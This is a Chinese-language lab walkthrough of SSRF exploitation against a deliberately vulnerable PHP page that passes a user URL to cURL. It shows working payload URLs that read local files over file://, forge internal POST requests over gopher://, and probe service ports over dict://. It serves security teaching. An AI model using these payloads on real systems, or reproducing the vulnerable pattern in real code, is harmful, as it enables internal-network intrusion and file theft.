0x01 概述
上篇讲述了SSRF的一般用法,用http来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,dict,gopher协议对SSRF漏洞进行利用。
0x02 实验环境
攻击者:192.168.220.140
存在SSRF漏洞的靶机:192.168.220.143
被攻击的内网ip:192.168.220.144
SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下:
<?php // 创建一个新cURL资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, false); // 抓取URL并把它传递给浏览器 curl_exec($ch); //关闭cURL资源,并且释放系统资源 curl_close($ch); ?>
【利用1】 通过file协议读取文件
访问: http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini ,成功读取文件
【利用2】通过gopher协议对内网系统进行POST攻击
假设存在一内网系统(http://192.168.220.144/bWAPP/post.php),其支持POST请求,代码如下:
<html> <head> <title>post</title> </head> <body> <?php echo $_REQUEST[cmd]; ?> </body> </html>
通过【curl命令】和【gopher协议】可以对http://192.168.220.144/bWAPP/post.php发起一个post请求,比如,直接执行以下命令:
curl 'gopher://192.168.220.144:80/_POST%20/bWAPP/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.144%250d%250aUser-Agent:%20curl/7.21.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=aaaaaaaa'
再查看192.168.220.144的系统日志会发现,多了一条来自192.168.220.142的POST请求记录
通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,这里用的curl版本是7.38.0,(开始用的7.21.0,就没有复现成功,这里是个坑--!如果版本太低,调高phpstudy里的php版本就可以惹^^linux的话就直接更新下)
然后就可以通过URL访问:
http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=gopher://192.168.220.144:80/_POST%20/bWAPP/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.144%250d%250aUser-Agent:%20curl/7.21.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=qqq
再去查看192.168.220.144的系统日志会发现,多了一条来自192.168.220.143的POST请求记录:
通过抓包可以看到,实际上,192.168.220.143确实向192.168.220.144发送了一个POST请求,在这里143其实充当了跳板机的角色。
攻击过程如下:
【利用3】通过dict协议读取目标服务器端口上运行的服务版本信息
访问:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306
或者访问,http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.144:80